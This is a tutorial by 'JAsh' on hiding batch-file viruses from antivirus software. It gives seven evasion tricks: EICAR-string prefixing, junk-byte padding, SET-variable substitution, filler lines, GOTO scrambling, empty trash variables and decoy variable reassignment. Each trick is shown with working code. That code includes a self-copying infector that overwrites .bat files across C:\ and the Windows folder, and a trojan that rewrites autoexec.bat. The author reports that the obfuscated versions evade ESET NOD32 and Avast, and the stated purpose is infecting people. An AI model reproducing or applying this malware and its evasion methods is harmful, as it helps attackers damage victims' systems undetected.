JAsh

On special demand I have penned down this trick to make all the virus codes undetectable.



Anti AV Techniques


In order to make our batch file virus a little more inconspicuous, unreadable or undetectable we use batch encryption techniques to fool AV's and people trying read or decipher our code. There are many different ways and today I’ll explain all the possible ways I know for batch encryption and AV & AV heuristics fooling. I used ESET NOD32 Anti-Virus for its great heuristics capabilities and Avast4 Professional Edition for normal detection. Please remember all techniques have been tested on Windows Vista and work!



Trick 1) EICAR Test File:


AV companies needed a way to test whether their product works on the users computer but without bringing harm to it, so EICAR was born, a universal string of code that will set off all AV's but will display 'EICAR TEST FILE NOT A VIRUS' or something similar, so we therefore, add this string to the beginning of our code in hopes that the user will let it run after seeing that it’s a test file and not a virus. This will help when infecting people with limited knowledge on viruses so definitely not a great technique when compared to others but none the less, here's the string for the EICAR 'Virus' which should be added to the beginning of your code:



X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*



The Above Code Might Be Detected In Simple Notepad File And Batch File

But With Next Step It Wont Be Detected

Tested By Me



Trick 2) Fake Bytes:


All AV's will only scan the first 1000 bytes of a batch file for any malicious code, so what do we do? We add a whole bunch of letters in the first 1000 bytes of our code, pretty easy and an excellent way to bypass scanners and in some cases AV heuristics. So here is exactly 1000 bytes of useless code which should be pasted at the beginning of your code:


Jfnvjdfvbdfrjcedjcndskcjlewkjdelkasusywkiqwndsjhcgbdkisknckichcdsjyefgwiednnauxx​bjnkaskjgbuhyhdgddr
Djdchcvnfdhvjknvjknvfbdfhvbdfjncfdnfhvjrhskjfnmaskldnchfvbgfvffscdjfbnjehcfnjhcb​jhnvdjuknvchdhbhvhf

Fdgvcdfgcvjhvbnfvfdhbfvdjnfvdnbjfvnjgbnjkfvsjlsfdjhfsndsajkfdsvefeyufguyshduygfb​dbcyufreubfuyhfdbk

Fndsfungcuhfjhcvnhsfdncjsjzlixldjfouyfhfrufmrnjhggvcnnfvdeyhfyfghnfguhfuyndfhfdr​sognfdhjfdyfdhfdhg

fhvbdh7rhuigfuhgudjfdujguighsudgduhgjugsifdkgiojfdhiudfgmnjhdgufhuigfjguijgukhgk​jgufdhgjfugfchghjh

hsbdfjdrbfjdbgvfovngkllksfjbnmgkjvnvjkgfnkbfgvhnfgijgfjknfghjgffghdunvuhnuihgfgj​ifugjiuhdruiryhgui

dsbdyhceyifgbycgnjhfhjhvfbdgjhnhjhsdhbgsftrhgbvsrulsfkewajfreihnrnusrnvcuhiurgfe​uygfruyfgybfdbkjkd

dscgfbdofnjkfhnkjfnkovmhuihgudljcugrhnuhvgvnuivgfhgdfigjngnklvtghnmgiojgfnkjgfhn​fhngfvjnkfgvlkgfng

fdkbsdcfhnmvghnfvkjfjkgfpkogjroisjoersmcetkuntbggkhgjhdlewrlkjrhjiurnvuinvynbtrh​urenyviuntruirtunv

dsuifhuyafgbycfgruyfgnucafipjnfnjkhnfidhfvmdkhzkdlhfnuygjkdngtfrjhnguhyghsduvbgr​jkhvsriulkghnkjhgu




Now Combine Both The Codes

And This Wont Be Detected By The Same AV Which Detected EICAR Test File

It Should Look Like This

Jfnvjdfvbdfrjcedjcndskcjlewkjdelkasusywkiqwndsjhcgbdkisknckichcdsjyefgwiednnauxx​bjnkaskjgbuhyhdgddr
Djdchcvnfdhvjknvjknvfbdfhvbdfjncfdnfhvjrhskjfnmaskldnchfvbgfvffscdjfbnjehcfnjhcb​jhnvdjuknvchdhbhvhf

Fdgvcdfgcvjhvbnfvfdhbfvdjnfvdnbjfvnjgbnjkfvsjlsfdjhfsndsajkfdsvefeyufguyshduygfb​dbcyufreubfuyhfdbk

Fndsfungcuhfjhcvnhsfdncjsjzlixldjfouyfhfrufmrnjhggvcnnfvdeyhfyfghnfguhfuyndfhfdr​sognfdhjfdyfdhfdhg

fhvbdh7rhuigfuhgudjfdujguighsudgduhgjugsifdkgiojfdhiudfgmnjhdgufhuigfjguijgukhgk​jgufdhgjfugfchghjh

hsbdfjdrbfjdbgvfovngkllksfjbnmgkjvnvjkgfnkbfgvhnfgijgfjknfghjgffghdunvuhnuihgfgj​ifugjiuhdruiryhgui

dsbdyhceyifgbycgnjhfhjhvfbdgjhnhjhsdhbgsftrhgbvsrulsfkewajfreihnrnusrnvcuhiurgfe​uygfruyfgybfdbkjkd

dscgfbdofnjkfhnkjfnkovmhuihgudljcugrhnuhvgvnuivgfhgdfigjngnklvtghnmgiojgfnkjgfhn​fhngfvjnkfgvlkgfng

fdkbsdcfhnmvghnfvkjfjkgfpkogjroisjoersmcetkuntbggkhgjhdlewrlkjrhjiurnvuinvynbtrh​urenyviuntruirtunv

dsuifhuyafgbycfgruyfgnucafipjnfnjkhnfidhfvmdkhzkdlhfnuygjkdngtfrjhnguhyghsduvbgr​jkhvsriulkghnkjhgu


X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*



Trick 3) Standard Encryption Technique (SET):


As the acronym would suggest this is a technique whereby the 'set' command in MS-DOS is used to encrypt the batch file and make it hard for the AV to analyze and for the user to interpret. we do this by assigning a variable to a set command, this might not make sense but see below:
This was detected as 'BAT/Silly.D Virus' by ESET NOD32:

for %%a in (*.bat) do copy %0 %%a


Now by encrypting variables: for, in, do and copy it will become undetected. Although it was not detected by encrypting only one of the variables this will not always be the case.
This was not detected by ESET NOD32 or Avast4:


set a=for
set b=in
set c=do
set d=copy
%a% %%a %b% (*.bat) %c% %d% %0 %%a



This will be complicated for others to read but not for people with a knowledge of batch so what you could do is make the set encryption appear at the bottom of your code and then begin to read the top, this will work well with large code as the user will have to scroll down to see the set encryption. You can do this simply by having a 'GOTO' command that will goto the decryption parameter before returning to the encrypted code, using more then one variable will make it much harder to read! See below:

@echo off
GOTO decrypt
:infect
%a% %%a %b% (*.bat) %c% %d% %0 %%a
%a% %%a %b% (C:\*.bat) %c% %d% %0 %%a
%a% %%a %b% (C:\Windows*.bat) %c% %d% %0 %%a
exit
:decrypt
set a=for
set b=in
set c=do
set d=copy
goto infect





Trick 4) Character Overflow:


This is just an awesome name given to an Anti AV technique that will help by hiding your lines and fool the AV from detecting the right tokens in your batch. All you need to do is add characters between each line of your code, it can also be numbers I used the character 'n' as it was used in the legendary SASSER worm to cause a buffer overrun. The only snag is the virus has to have more then 3 or 4 lines to work effectively.
This is a virus by Ratty which was detected as 'BAT/Ratty.Substcde.A Trojan' by ESET NOD32


@echo off
ctty nul
@echo subst e: a:\ > c:\autoexec.bat
@echo subst d: a:\ >> c:\autoexec.bat
@echo subst c: a:\ >> c:\autoexec.bat
ctty con
cls


When using the Character Overflow technique it was not detected by ESET NOD32:


nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn
@echo off
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn
ctty nul
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn
@echo subst e: a:\ > c:\autoexec.bat
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn
@echo subst d: a:\ >> c:\autoexec.bat
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn
@echo subst c: a:\ >> c:\autoexec.bat
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn
ctty con
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn
cls
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn




Trick 5)GOTO Confuser:



This is a bit impractical as it takes extremely long and is pretty confusing depending on the size of your code. It only works with code that is longer then 5 lines. What it does is confuse the AV by giving multiple goto commands so the strings of the virus is separate and not read as a single token so it wont be detected.
This is a virus by Ratty which was detected as 'BAT/Ratty.Substcde.A Trojan' by ESET NOD32:

@echo off
ctty nul
@echo subst e: a:\ > c:\autoexec.bat
@echo subst d: a:\ >> c:\autoexec.bat
@echo subst c: a:\ >> c:\autoexec.bat
ctty con
cls


Using the GOTO confuser it was not detected by ESET NOD32:


@echo off
goto a
:f
ctty nul
goto b
:l
@echo subst e: a:\ > c:\autoexec.bat
goto c
:m
@echo subst d: a:\ >> c:\autoexec.bat
goto d
:r
@echo subst c: a:\ >> c:\autoexec.bat
ctty con
cls
:a
goto f
:b
goto l
:c
goto m
:d
goto r





Trick 6) Trash Code:



This refers to lines of code that simply do nothing, but as far as the AV is concerned its working code so what do we do with this in mind? We put meaningless garbage between our actual codes; it is however important to note that the lines you are using for trash code is not used for anything:
This was detected as 'BAT/Silly.D Virus' by ESET NOD32:


or %%a in (*.bat) do copy %0 %%a

When using garbage or trash code it was not detected:


set trash=
%trash% for %trash% %%a %trash% in %trash% (*.bat) %trash% do %trash% copy %trash% %0 %trash% %%a


In the first line we made sure trash was set to nothing then added the code to the virus it worked perfectly without being detected!




Trick 7)Fake SET technique:



Although our Standard Encryption technique is strong enough for heuristics and AV's this technique will make it much harder to be found and also to be debugged. This technique involves the "set %variable%=%command" except we shall give the variables fake commands and then set the real commands see below for more clarity:

set acv=ren
set acv=for
set acv=copy
set axv=yes
set axv=for
set lmno=ggg
set lmno=in
%axv% %%a %lmno% (*.bat) do %acv% %0 %%a


As you can see we renamed the variable a few times which begins to get tricky especially when the code is long! No AV will detect this as it has no set string, and it will give heuristics a hard time to emulate the code!


Done

I Hope I Helped You In Some Way

Enjoy